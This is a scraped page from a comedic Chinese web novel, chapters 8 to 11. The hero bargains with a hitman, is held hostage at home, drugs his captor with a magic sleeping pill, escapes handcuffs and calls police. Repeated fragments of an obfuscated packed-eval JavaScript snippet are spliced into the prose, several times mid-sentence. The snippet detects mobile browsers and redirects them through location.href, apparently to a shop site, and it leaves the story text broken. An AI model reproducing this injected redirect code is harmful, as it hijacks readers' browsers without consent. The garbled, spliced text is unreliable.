耳朵里听到一声非常轻微的鞋底与地面摩擦的声音。 像是不经意暴露了对方内心的挣扎。 郝运自觉巧舌如簧:“大叔,收手吧,人还活着一切就都来得及,但要是你真把人杀了,你想想人家的首富爸妈能放过你吗?有上百亿资产,你就是躲到火星,人家也能把你抓回地球,到时候你有命拿钱,没命花钱,你说你忙活一场是图什么?就图寻死吗?” 缺牙大爷在旁边听得直咧嘴:【你这小嘴抹了毒一样,小心把人气得跳起来杀你。】 显然杀手的情绪要比缺牙大爷稳定得多,他既没有跳起来,也没有要杀郝运。 他似是在几番思索之后,终于做出了选择。 “你说的都是真的?” 杀手故意压着嗓子,声音入耳只觉得低哑听不真切。 郝运也不顾对方是否看得见,连连点头:“当然是真的,我没必要骗你,骗你又得不着好处,你要杀的人也不是我,不是吗?” 又是短暂的沉默,那边似乎被上百亿资产晃花了神智。 再开口,便是:“我要五百万,五十万现金,剩下要黄金首饰,就是普通金店里那种货,不要金条。” 想得还挺周到。 郝运靠墙蹲在角落,身体一动不动,嘴上动得飞快:“行,交易的时间地点由你定,具体你怎么联系我们,要给你我的手机号吗?” 楼梯下方的人沉默以对,显然如此轻松讨论要给手机号这事,在此时此刻十分让人感觉凌乱。 只是,如何交易确实是个问题。 总不能手机转账吧? 杀手低哑的声音透着冷意,说:“我会再来,让他们准备好钱。” 郝运耳朵里听到这么一句,看得并不真切的人影在楼梯下方轻轻晃动,便消失在了他的视线里。 杀手如来时一般,迈着猫一样轻灵的脚步,没有半点声息地从楼梯间离开。 【他走了,就让他这么走了吗?】 吃瓜系统这会儿又不怕死了,恨不能跟上去,继续吃瓜。 郝运直到确定杀手已经离开,才长长出了一口气。 吓死他了。 这可是杀手,他这辈子就在菜市场见过杀鸡杀鸭的,连杀猪的屠夫都没见过,更别提杀手了。 他胆再大都止不住后背冒冷汗。 郝运捏着那袋子还没喝的牛奶从楼梯间出来,明亮的灯光让他感觉像是穿越了一个世界似的。 他定了神,几步走到抢救室前的长椅边,对着两名警察伸手一指:“刚才楼梯间里有个男人,戴着鸭舌帽,走路没声音,看到我在那里转身就走了,我感觉有点不对劲。” 两名警察视线一对,立即往楼梯间走了过去。 人自然是已经没了踪影。 不过医院里有监控,出了医院的马路上,要查到郝运说的那个鸭舌帽男人应该不难。 那边警察开始忙碌。 这边,郝运在自己亲妈面前,对虞总夫妻没有半字保留,把刚才与杀手的对话,全都转述了一遍。 郝运边思考带猜测:“虞总,戴老师,不知道今天早上小虞总被撞车的事你们知道了吗?对方目的很明确,就是要小虞总的命,现在已经出现了两个行凶的人,谁也不能保证还会不会有第三个。” 这第二个是不是“策反”成功还不知道,万一再来第三个、第四个杀手,简直防不胜防。 郝运就算没有吃瓜系统,没有吃瓜任务,都有点好奇了—— 这位小虞总到底是得罪了谁,挡了谁的道,才会被下这种程度的江湖追杀令? 显然,虞总夫妻也在思考这个问题。 戴老师面露茫然:“小惜平时脾气很好,也不得罪人,他自己弄的那公司,就他一个老板,也没有什么合伙人,没有那种利益上的牵扯,至于生意上的事,虽然有竞争,但 大家都是正经生意人,谁也干不出来买凶杀人这种事情……” 就连最有可能的情杀都被排除了。 据说这位小虞总十分洁身自好,上一段感情还是三年前。 总之,在父母的眼里,这位小虞总就是一个标准的乖乖牌。 郝运作为一名与虞家毫无关系的外人,没敢张嘴就来一句,当父母的可未必真了解自家孩子,正常人该有的眼色他还有,转述完话,就坐到了他妈妈身边,开始喝牛奶。 离晚饭过去好几个小时,他真的饿了,那两包子填进胃里都没到半饱。 沈茉又看了一眼抢救室的方向,心想这没几个小时肯定结束不了,要不要再劝一劝自家小宝先回家睡觉去。 她是肯定不能走的,她和这位市首富的虞总不算熟,但人家看在同是女老板这一点上,多少照拂过她。 她今天要不在这里,即使听说了这消息,也不会特地赶来。 交情没到,反而显得谄媚且添乱。 但人都坐这儿了,她要走,就显得没人情味了。 她在这儿,即使不出钱不出力,也是出了个人,就当备着给人当助理用。 虞总刚才就对着沈茉的面谢了她儿子,也劝她先回去。 沈茉不走,虞总便也不再多劝。 都算是事业有成的社会人,这点人际关系的潜规则心里全清楚着。 再加上虞家也确实没有能帮上忙的人手,手底下的助理和工作人员也没有比得上沈茉能力的,虞总对沈茉的印象不错,加上她儿子又救了自家儿子,也就默认了人留下帮忙。 又等不知道多少时间,走道一边的电梯门打开,快步走过来几个人。 虞总站起来,跳过寒暄,直接说:“小郑,虞惜在手术室里还没有出来,我就把他拜托给你了。” 被称为小沈的其实并不年轻,看年纪应该三十多快有四十来岁,他点了头,说了句“放心,我们一定尽全力”就往抢救室去了。 郝运给他妈递去询问的眼神,这谁啊? 沈茉小声凑到他耳朵边上,说:“手术医生。” 说完又加了一句:“应该是虞家能力范围内找到的最好的医生。” 郝运在心里“哦”了一声,原来是钞能力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375008|200054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接下来又是漫长的等待,等到不习惯熬夜的郝运坐在那里打了个盹。 也不知道过了多久,他耳朵里听到动静,一下子就清醒了。 抢救室的门开了,郝运没看清谁是谁,只听到有人说了句:“手术很成功,伤者已经脱离了危险。” 现场的气氛顿时变得轻松,然后随之而来的便是疲惫。 做手术的医生,陪在抢救室外的家属,还有尽责尽职的警察,都累了。 不知道是谁打了个哈欠,郝运觉得自己的眼皮子一下子都变重了。 那位虞总身边不知道什么时候多了好几个助理和安保人员,有了人手后,做事便更方便了。 郝运也终于可以和沈茉一起走了。 虞总拉着沈茉的手,对母子二人说:“今天这里忙,我也顾不上你们,沈总你见谅,等改天小惜身体也恢复了,让他请你们吃顿饭,一定好好谢谢你们。” 沈茉也不客气:“虞总都这么说了,那我们就等小虞总早日康复出院请客,我们母子随时有时间。” 虞总又拍拍沈茉的手背,让助理送两人下楼。 一直到停车场,上了沈茉的车,就剩下母子二人,郝运往座椅里一瘫。 “听你们大人说话真累,特别是有点钱,有点身份地位的,更累。” 沈茉发动了汽车。 “嗯?对着财神爷说几句好话,你也能累着?” 唔,这个角度看问题的话…… 郝运立即支楞起了脑袋:“不累不累,半点不累,我天生嘴甜,最会说的就是好听话。” 他那签到系统签一年也才给一亿,人家虞总一家子自家就有将近百亿。 嗐,这人要过得快乐,攀比就要不得。 郝运想象了一下,要是那位小虞总拿到签到系统,那玩意让他去大庭广众之下喊“性感男蟑螂签到”,估计人家只会倒给两亿,反手给人系统布置个签到任务。 可恶的有钱人! 想想都羡慕得眼珠子泛红,他忽而一扭头:“妈,你什么时候发财?我也想当富二代。” 沈茉笑:“那我回去问问你外公外婆,有没有机会让你当富三代。” 一路说着话,很快就到了郝运住的小区。 沈茉将车子开到小区楼下:“赶紧上去睡觉,天都快要亮了。” 郝运全都应下,朝着她挥手:“你也赶紧回去休息,明天上午晚点去公司,多睡一会儿知道吗?” 母子二人互相操心了一下对方的睡眠时长问题,然后在沈茉的注视下,郝运下车上楼。 直到房间的灯亮起,沈茉歪着头透过车窗又看了一眼这个熟悉的家,才将车子调头离开。 101室里。 郝运开了灯,凌晨的房间让他感觉有点陌生。 玄关处的急救箱没在原位,他之前急着离开,就那么随手一放,有一半悬在半空,摇摇欲坠。 运气不错,再往外差个半毫米估计就摔了。 顺手整理玄关,郝运还在想刚才和她妈妈的随口扯闲。 他这辈子能不能当上富三代不知道,反正霉三代是稳稳的。 解救了急救箱,又抽了张纸巾,准备把桌面薄薄的一点灰抹掉,他的手突然顿了一下。 9. 第 9 章 运气不错。 郝运将这几个字在嘴里重新品了一下,他这辈子有运气好的时候吗? 视线再次回到那个被已经归位的急救箱上,郝运完全不用犹豫,就能确定,这箱子如果真是经他的手放在这儿的,那它早就摔了。 不止摔了,估计还会整个摔开,里面的碘伏和紫药水摔裂、摔飞盖子,把玄关处的地板弄得一片狼藉,他回家打开门的一瞬间能气到想骂天骂地又骂这该死的命运。 所以,那个没摔的急救箱真的很不合理啊。 他没那么好的手气,除非,这是别人放的。 家里进过人了。 甚至,有可能这个人现在还在屋里。 郝运顿时后背发毛,家里进贼倒还好,对方就是图财而来,可怕的是,他第一反应,觉得家里进的人会是刚才在医院楼梯间碰到的那个杀手。 小虞总当时就倒在他家门口,如果当时那个杀手就在现场,那么看到他的脸并记下,就是一件可能性非常大的事。 然后对方在医院行动没成功,又因为他在楼梯间里说的那些话,对方找到了他家里来。 真想给自己来上一耳光。 就你长了嘴。 不过比起自己嘴,郝运觉得还是他的体质问题更大,所以也不是真心怪自己。 内耗不了半点。 郝运在脑海狂喊几个系统“起床”:【快去看看家里有没有藏了人,藏哪了?】 同时,他思考着,如果他现在转头就开门往外跑,把那个杀手反锁在家里的可能性有多大。 他相信自己的脑子计算出来的结果,但是他不相信他的运气。 他的人生验证了,再完美的计划都抵不过各种突发的意外。 倒霉的人生,没有丝毫侥幸,所以,只能正面硬上了? 郝运脑海里浮现“拼了”二字时,盲盒系统突然飞到他的视线正中央,说:“【宿主,你是不是忘了,你还有三次免费的抽盲盒机会?我说了,盲盒的世界,什么都可能抽到,你不试试吗?也许你能抽到一把来自未来世界的激光武器?或者来自修仙世界的护身法宝?】” 郝运:不敢想,完全不敢想,他真要抽到了这些玩意,他怀疑家里进的就不是杀手,而是异形。 他的理智很理智,但是他的身体却很诚实。 【来来来,快,抓紧时间抽。】 盲盒的精英中年男形象立即抬手在半空中打了个响指,无数个10cmx10cm大小,系着红色蝴蝶结、五颜六色的正方体小礼盒,随着它的动作出现在郝运面前。 它们没有规律地旋转着,在郝运面前展示着自己,仿佛像是在说:“抽我抽我抽我!” 除了颜色,完全没有任何区别。 郝运一时间不知道该怎么下手,盲盒系统好心解释:【这些盒子的颜色不代表任何意义,盒子只是容器,一切都是随机的。】 好吧,那就真没什么好选的了。 郝运看到某个盒子经过自己的视线,他觉得粉红色的还挺好看,作为猛男必选色,就选它了。 盲盒系统:【恭喜宿主获得盲盒x1。】 那个盒子被郝运拿到手里,在盲盒系统的示意下,他伸手打开盖子。 就像是一个普通的小礼盒,不费半点劲就开了。 盒子打开的瞬间,化作轻烟消散,而盒子里的东西,也轻飘飘落到了郝运的手上。 盲盒系统:【让我看看这是什么……咳,咳咳咳……】 在郝运不太好的预感里,它终于吐出了新手礼包抽取到的东西—— 【恭喜宿主抽到大渊王朝礼部黄侍郎家二姑娘的裹脚布x1】 郝运:“……” 一把就把手收了回去,那条裹脚布轻飘飘落到了地上。 精英中年男人努力收敛表情,说:“【宿主,你还有两次机会,再抽,你不可能只抽到垃圾。】” 郝运想说,他除了垃圾不可能抽到别的东西。 但,在系统不停用激光开口和护身法宝的诱惑下,他想着家里可能还藏了个身负五条人命的职业杀手,还是下手抽了第二个盲盒。 这回他挑了个黑色的小盒子。 主打一个沉稳色。 盒子打开后消散,眼熟的长条状、白色布料再次落下。 这次郝运的手直接就背到了身后,耳朵里听着系统着干巴巴地说:【恭喜宿主再次抽到大渊王朝礼部黄侍郎家二姑娘的裹脚布x1,你已经凑成一对了,你知道这里有多少盲盒吗?两把凑成对,这实在是太难得了。】 郝运果断人工屏蔽了这个破系统。 这份难得谁要谁拿去,他又不是变态,要人家姑娘的裹脚布干什么! 也是急昏头了,郝运被自己在这种关键时候竟然指望运气能帮上忙的行为给逗乐了。 拒绝黄赌毒,需要时刻紧记。 盲盒却伸着“尔康手”:【宿主别急,你还有最后一次机会!你肯定能抽到好东西!】 而其他几个系统也充当“先锋官”回来了,主要是吃瓜系统叫得最响亮:【宿主宿主,我找到人了,医院见过那个鸭舌帽就躲在卫生间的门后边!】 郝运再不犹豫,他人在玄关,手机在口袋,也不用拿钥匙开门就准备跑。 他都想好了,他也不求把杀手反锁在家里,他家外层那道老式防盗门,用的钥匙还是十字型的,平时要对上都得花上几秒的时间,这会儿天黑,又着急,加上他那破运气,锁门简直是生怕对方追不上自己。 所以,他什么也不管,出去了就跑。 小区门口有保安,他可以大喊救命,他手上还有手机,能边跑边打110报警。 他就不信这杀手敢上街追他,更不相信他手上有枪,能一枪崩了他。 一切想得很美好,然而一切止于第一步。 开门。 已经用了二十几年的老式玄关门就没有换过,哪天也没有出问题,就在这个时候,它突然坏了! 郝运一按门把手就感觉不对劲,有一种很生涩卡顿的感觉,他手上用力,门把手却按不到底,就差那么一点点,门锁愣是卡住了拉不开。 【宿主快啊,那个杀手从卫生间出来。】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375009|200054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【他出来了出来了!】 【到客厅了!】 【完了完了,离你就两三米了!】 几个系统随着杀手的逼近,连连后退,最后全踩到了郝运脑袋上,抱着他的头发、耳朵叫成一团。 也不知道它们在怕个什么。 天要亡我! 郝运急出一身汗,手上拼尽全力一扯,也不知道哪里“嘣”了一声,门还是没开,他细一看,门把手那一块与门板之间掀开了一道小口子。 这样了门都没打开。 郝运心里浮上两个字“完了”,果然,他身后那位鸭舌帽杀手的声音应声响起。 “别动,把手举起来……你是怎么发现我在屋里的?” 不用提醒,郝运都是不敢动的,听话举手。 后腰都被刀尖尖顶上了,他可不想步上小虞总的后尘,人家运气好能活,他运气差必死无疑。 几个系统又开始改了内容叫换—— 【啊啊啊这难道是吃瓜人的终极命运吗?最后吃到自己被凶杀的大瓜?】 【这么死也太丑了,我不要有一个死得这么难看的宿主啊。】 【呜呜呜宿主你就说后悔不后悔吧,你都没生99宝就要嘎了,不然和这个杀手大叔生一个吧?】 …… 郝运决定回头一定要好好教育一下这个生子系统的“生子脑”,比恋爱脑还要不得。 他将注意力放到杀手身上,他格外乖巧配合,人家问什么,他就答什么。 “大叔,你碰到我家急救箱了吧?它原来没在那位置。” 鸭舌帽视线往玄关的柜子上瞥了一眼,他刚才好像是不小心碰到了什么,不过听着人回来的动静,他急着躲起来,也没顾上细看。 郝运事到如今反而淡定了,说:“大叔,你来找我是因为缺一个和虞家的联系人吧?我就知道五百万的生意没人会愿意放弃,小虞总家是真有钱,他这次被害这么惨,肯定很想抓到幕后想要害他的真凶。” 鸭舌帽也不否认,还哑着声音夸了他一句:“你挺聪明。” 郝运连说“没有”,身体却是半点都不敢动,生怕出点什么意外。 他说:“大叔,小虞总已经被救回来了,所以,你的问题其实不大,小虞总那边也分得清谁才是真对他动杀心的人,大叔你就是个工具,不是你,真凶也会找别人不是吗?你告诉虞家谁是买凶的人,这恩怨也就抵过了,再从虞家这边拿点钱,换个没人认识的地方好好生活,多好。” 鸭舌帽没有反驳他的话,用刀尖戳了戳郝运的后背,说:“把手机扔地上,身上衣服都脱了。” 那尖锐的刀尖冰冷冷的,叫郝运整个后腰的肌肉皮肤瞬间收紧,后脖颈都炸了毛。 但是,他猜对了,对方找上门果然不是为了灭口,而是为了求财。 求虞家的财。 小命暂时能留住了。 郝运顺从地将手机从口袋里摸出来,利落扔地上,然后开始扒自己衣服。 外套,T恤,鞋子,裤子……最后只剩下一条大红内裤和一双大红袜子。 10. 第 10 章 郝运再脱那就光了,他觉得对方是杀手,而不是“变态”杀手。 “……这样可以了吧?” 开口询问的一瞬间,他犹豫了一下,把称呼给去掉了,不然实在感觉有点奇怪。 鸭舌帽本来打算是连裤衩子都不给人留的,让人光屁股不是他的爱好,而是防止人逃跑。 但转念一想,年轻人脸皮薄,他还要让人给自己干活,不能把事情做绝了。 “去那边待着。” 杀手伸手一指,让郝运去跑步机边上待着。 郝运半点不反抗,直接走了过去,没有任何多余动作,生怕引起不必要的误会。 “这儿吗?” 他到了地方,还特别认真地问了一句。 鸭舌帽跟着走过来,他伸手从后边裤子口袋一摸,就拿出了一副手铐。 一个杀人犯,竟然用手铐? 这对吗?! 郝运都不用人说,主动伸出双手配合被铐,眼看着两人关系似乎“缓和”了,他试探着提要求:“大叔,我一晚上就吃了两个包子,太饿了,能让我弄点东西吃吗?” 这个要求提得看似十分合理,人是铁饭是钢,一顿不吃饿得慌。 这都在自己家里了,要求吃点自家的饭怎么了。 而且,郝运还十分客气,自己吃也不忘招待客人:“大叔,你要是饿了,我也可以顺带给你做一份,我一个人住,做饭手艺虽然算不上好,但也还能凑活。” 鸭舌帽手上动作停住,盯着人看了有半分钟,把人看得快缩成一个球,他的视线才在101室的屋里找了一圈,最后在阳台的窗口处看到了盘绕整齐的逃生绳。 他走过去拿了,将一头系在郝运的脚脖子上,一头拽在他手里。 “去弄吧。” 鸭舌帽用下巴示意郝运可以去厨房了,他有把握,要是郝运敢耍什么花招,他能通过手上的绳子直接将人拽倒。 终于得了允许,郝运松了一口气,还是缩着肩膀跟个受惊的鹌鹑似的,过去开冰箱门,从冰冻区拿了一堆火锅料,牛肉丸、牛肉卷、蟹□□,又从保鲜区拿了小葱、鸡蛋,和之前吃剩下的半颗娃娃菜。 他一锅全煮了,很快泡面那霸道的香气塞满了整个房间,在无处可去后,开始无孔不入,拼命往人的鼻孔里钻。 郝运脚上拴着绳子,身上只剩一条内裤勉强遮羞,不远处还有一个“牢头”兼“刽子手”盯着他,太过紧张以至于忘了开油烟机也似乎挺正常。 等到豪华版泡面上桌,满满一大盆,香辣味扑面,红油引人食欲。 郝运也不再客气问人吃不吃,直接用筷子挑了一筷子,用嘴吹凉一点,然后一口进嘴,慢慢嗦进嘴里,不说色香味俱全,但在凌晨的时间点,这一口简直堪比人间美味。 除了他嗦面时顺嘴把汤汁全过滤过这个动作有点不太美观。 郝运干什么都是不急不缓,吃面也是,等他有滋有味吃到第三口,鸭舌帽走了过来,示意他站起来。 “再去煮一碗。” 郝运:“……哦。” 刚问了说不吃,现在看他吃得香,又要吃了,这什么人啊。 他用表情嘟嘟囔囔,骂骂咧咧,然后窝窝囊囊又走去开冰箱。 然而鸭舌帽并没有等他再做新的上来,直接坐到郝运先前坐的位子上,就着郝运吃过的那一碗,开吃。 听到稀里哗啦的吃面声,郝运回头,一脸欲言又止:“不是,那……我都吃过了……” 算了算了,俘虏没有话语权,被当成试毒的小太监使,他也没办法。 郝运又煮了一碗面,这一次,他记起了开油烟机。 做面,吃面,洗碗,收拾灶台,郝运准备把全套流程都来一遍,鸭舌帽看得昏昏欲睡。 “去那边。” 他实在忍不了,在郝运双手挤满了泡沫时,扯了一把绳子,差点让他在洗理台上磕碎下巴。催着郝运回到跑步机前,鸭舌帽将他往侧边的支架杆子上一扣。 这个角度,郝运要不想弯腰就只能蹲下。 “叔,我今晚就睡这儿吗?那麻烦你给我拿条被子吧,这地砖太凉了,不太好躺。” 已是春末时分,但晚上还是凉。 鸭舌帽进到卧室,随手扯了床上的被子回来扔给郝运,又去把扔在玄关处的手机捡了,把郝运活动范围内能够到的所有东西都清了一遍。 困极的鸭舌帽终于在郝运家客厅的沙发上躺下,他衣服鞋子都没脱就那么睡了。 卧室的床上只有一条被子,已经给了郝运,他也不讲究,拿了床上的垫被出来,往身上一盖。 没一会儿,他的呼吸就变得平稳且缓慢。 先一步抱着被子躺倒在地板上的郝运则轻轻睁开了眼睛。 “咳!” 他故意发出一点动静。 沙发上的人一动没动,似乎根本没有察觉这点声音。 隔一会儿,郝运又“咳咳”两声,隔一会儿,声音再起,跟个忘了静音的企鹅软件似的。 听得人越来越烦躁。 但沙发上的人愣是没有一点反应,感觉是睡熟了,魔音入不了耳。 郝运就这么睁着眼睛躺着,一动不动,一直过了将近一个小时,到了天亮前最黑暗的时刻。 也是人刚入睡后,睡得最沉的时段,他如幽灵一样坐了起来。 全靠腰部力量,平地直起。 看着实在有点惊悚。 【你确定,你给我的药有用?】 郝运此时正在脑海里和变美系统确认。 雌雄莫辨的古装美人翻了他一个白眼:【系统出品,你竟然敢怀疑,说了一吃就睡,那就是肯定睡着了。】 这说的是郝运得到的三个新手礼包之一,来自于变美系统的“晚上一吃就睡早睡丸”。 抽盲盒尽抽人家闺阁小姐的裹脚布了,郝运实在没辙之下,灵机一动,想到自己还有药。 于是,一向养生的他煮了一碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375010|200054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味最大的泡面。 感谢李原,这泡面还是他上次带过来没吃掉留下的……他这次要能顺利脱险,等他签到得一个亿,他一定送人一半当谢礼。 变美系统见郝运还在怀疑它的药,实在忍不住气:【你在那碗里放了三颗的量,就是大象也被你药倒了,何况区区一个普通人类。】 特别是他怕人不喝汤,就差把泡面做成干挑面,那杀手半点不讲究,全给吃了个干净。 郝运盯着沙发的方向仔细看。 屋里的灯没关,照理人在这样的环境里应该睡不沉。 但躺在沙发上的人睡得异于常态,甚至开始打起了小呼噜。 不管怎样,总得自救,不然等人真拿到了钱,他这个作为看到凶手真面目的人,不被灭口的可能性有点低。 对方可是手上有五条人命的主啊。 郝运先解脚上的绳子,鸭舌帽打的死结,不过这难不倒郝运,他用手捏着绳子的两边,双手反方向用力拧,把软软的绳子拧得硬邦邦的,然后往结的方向推,眨眼间就解开了。 比较麻烦的是手铐。 郝运再能耐,平时也接触不到如何解手铐这种知识点,不过,他不会,有人……有系统会。 他看向完美犯罪系统:【这位专业的系统,你不会连这种最基础的技能都没有吧?】 阴湿小哥给了他一个眼神:【别以为我看不出来你是在用激将法。】 它伸手一点,一根小铁丝凭空掉落到郝运的手上,然后它甩了一个视频在他面前。 【学吧,这是最基础且是一名优秀犯罪者的必备技能。】 郝运运气不怎么样,但是学习和动手能力十分不错。 十分钟后,手铐被他捅开了。 全程围观的几个系统就算没有欢呼出声,也都面露喜色。 太棒了,成功了! 阴湿小哥因为意外而瞪大了眼,阴湿的气质都淡了几分,显出一点呆萌来。 但这不重要,重要的是,这人竟然真学会了,才十分钟? 这是什么犯罪天才! 郝运得了自由后,并没有站起来,而是直接四肢着地,开始阴暗爬行。 他的手机在鸭舌帽那里,他不敢过去翻找。 但这不重要,他又不是只有一部手机。 郝运的目的是书房的电脑桌,那里有他的备用手机。 平时锻炼身体时没少爬,不到一分钟,他十分利落且无声地就到了桌子底下。 手机、手机…… 托平时用完东西会定点收纳的习惯,他顺利在桌子的小抽屉里摸到了小方块。 摄像头扫到人脸,立即亮屏开锁。 还好他每天都给这手机充电,这会儿还有电量。 郝运没有犹豫就按下了110,基本上所有人都在睡觉的时间点,电话很快就接通了。 “救命,有杀人犯进我家了。” 郝运用最轻的声音,和最快的语速说道。 11. 第 11 章 郝运刚对着电话报完自家地址,他那手机突然催命似地唱了起来。 【他大舅他二舅都是他舅~高桌子低板凳都是木头~】 土匪似的破锣嗓子,效果堪比叫魂,灵魂比肉-体先清醒。 郝运忍不住骂了一声“艹”,他决定了,他要收回给李原的半个亿。 这破铃声是李原专属。 天都没亮呢,这人打电话过来是要干什么,叫他起床尿尿? 郝运做不到瞬移回跑步机那里,把自己手脚用两套方案锁起来。 他只能选择冲去关书房的门。 他不指望那扇年纪比他还大的木板门能挡住一个孔武有力的中年男人,但是能挡几秒是几秒,总好过什么也不做等着人冲进来。 冲到门边时,郝运看到鸭舌帽已经起来,并发现他不见了,隔着一个客厅,两人突然对视。 砰。 郝运吓得一把将门板碰上,一个反锁。 可惜门边什么也没有,想堵门郝运只能用自己的小身板往上堵。 他用后背和屁股贴着门,脚下用力,死死抵住。 门把手被人在外面用力扭动,反锁的门自然打不开。 紧接着,外面便归于寂静。 郝运更用力地抵着门,他不相信对方能轻易放过他。 默数三秒,然后就听砰一声巨响,郝运差点随着门板被震飞。 重新贴回门板上,郝运心凉,他家这门板能顶得住三次踹吗? 念头刚起,第二踹又到。 郝运也知道了他家书房门板的极限。 门板直接被踹飞,郝运撅着屁股被巨力带着往前飞扑出去,一直扑到电脑桌前,一手打飞了桌上的水杯,一手按到了来这个家后就一直苟延残喘的仙人柱盆栽上。 “啊!” 郝运一声惨叫,手心开了“花”。 鸭舌帽走进书房,他的声音阴沉得可怕:“我小看你了,连手铐都能解得开,小子,本来你好好合作,我还能留你一条小命,现在看来,你是自己找死。” 扑在桌上的郝运一个转头,面向鸭舌帽。 “叔,杀没杀人,警察通缉令的级别是不一样的,这你知道吧?你要是现在走的话,就当什么事也没发生,不然我死了,你也跑不了。” 鸭舌帽不接话,朝着他冷冷一笑,眼神仿佛淬了毒。 郝运计算了一下时间,显然警察出警再快,也不太可能在几秒内出现在他家书房。 陷入绝境,死神似乎挥舞着镰刀站在了鸭舌帽的身后,准备收割郝运的小命。 一切发生得很快,似乎只是两三个呼吸的时间,而只要再多一个呼吸,郝运可能就要变成一个被扎破的口袋。 鸭舌帽掂了掂手上的匕首,对准了郝运的肚子,似在考虑是横切还是竖切。 而就在那一刹那,郝运操起书桌上的仙人柱盆子就往对方身上砸。 鸭舌帽迅速往旁边一避,但还是晚了一点,仙人柱刚巧砸中他的上臂,尖尖的刺轻易刺穿薄薄的衣料,扎进了他的皮肤。 刺痛上鸭舌帽低头看去,只有他手掌高度的仙人柱就那么连盆挂在他手臂上。 仙人柱的上面还挂了颗圆溜溜的深褐色小玩意……这是麦丽素? 然后他后知后觉才感觉到不对劲。 哪家的仙人掌扎到人能把自己挂上面,还带着盆一起挂? 鸭舌帽感觉不对,伸手甩了一下,结果没甩掉,加了点力后,依旧死死粘在上面。 这下他是真有点着急了,用另一只手去抓小花盆。 结果这次一抓,花盆直接被他抓了下来,就像是如果他不做这个动作,花盆也会掉。 而鸭舌帽也注意到了另一件事,就是仙人柱上的“麦丽素”不见了。 他没看到它掉下去,但就是在眨眼间不见了。 真见鬼了。 这小子有点邪性,在医院的楼梯间直接叫破他杀手身份就已经让他感觉不太好。 鸭舌帽随手将小花盆往地上一扔,再次看向郝运,面露杀意。 待宰羔羊郝运也正看着他,却露出一脸惊异的表情。 顺着他的视线,鸭舌帽看到了这辈子最惊悚的一幕,仿佛有人拿打气筒接上了他的肚脐眼,正拼命往他肚子里打气,转眼之间,他的肚子鼓成了球。 简直要炸了! 鸭舌帽慌了,比他第一次杀人之后都要慌张。 “你,你对我做了什么?快说,不然我杀了你!” 他手里的匕首直指郝运。 郝运无辜,但不敢动。 只有视线转向了被鸭舌帽扔到地上,此时已经摔得盆植分离的仙人柱。 是它“做”的,和他没关系啊。 鸭舌帽说话间,肚子又大了一圈,他感觉自己的五脏六腑都被顶得移了位。 被顶的胃让他想吐,被顶的膀胱让他想尿,上下皆难受。 呕! 鸭舌帽突然干呕了两声,饶是如此,他还想拿着匕首刺郝运。 郝运大喊一声:“你怀孕了,别动了胎气!” 男人怀孕,且在此时此刻,眨眼之间?真是如此离谱。 但由不得鸭舌帽不信,肚子撑到极限后,他突然感觉到了肚子痛。 不会是要生了吧? 鸭舌帽的脑海里闪过这么个离谱到家的念头,而郝运也在脑海里问生子系统。 骑着红鲤鱼的小人绕着鸭舌帽转圈圈,下了判断:【对,他要生了。】 郝运十分不确定:【他能生出什么来,仙人柱的种子,半植物半人的怪物?还是长着仙人柱尖刺的人类?】 急中生智,生死关头,郝运根本顾不上后果,先把人搞怀孕了再说。 孕妇孕夫,多少会影响行动吧? 生子系统也摇头:【这我就不知道了,我也没见过这么跨物种的繁殖方式。】 然后它又生气:【你知道生子丸有多宝贵吗?你竟然这么用!暴殄天物啊暴殄天物!你会被雷劈的!】 鸭舌帽的肚子大到一定程度,他的衣服和裤子被顶得上下翻卷,只将一个不太白的肚皮露在外面。 然后那像是鼓气鼓得炸开才甘心的肚子突然就裂开了。 把人吓得直接软倒在地。 鸭舌帽和郝运都吓得叫了一声。 不过郝运显然不比鸭舌帽魂飞魄散,一来裂开的不是他的肚子,二来有生子系统在那里解说安慰。 骑鱼小人:【没事没事,这是要生了,本系统的生子丸包售后,无痛怀,也无痛生,生完立即健步如飞,跟个没事人似的。】 如此说来,确实也是个好东西。 随着它的声音落下,鸭舌帽裂开的肚子里往外蹦出了一个娃……跳舞仙人掌? 除了没底座,小了几号,这和那个会学声扭动的玩具有什么区别? 手掌长度一根长条状,中间往左右长了两只“手”,圆柱顶部长了俩眼球,没鼻子没耳朵,嘴巴是一条两头微微上翘的红线。 还是个天生的微笑唇。 小玩意就一根光杆,底下没分叉出腿,落了地只能蹦着扭着走,跟条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 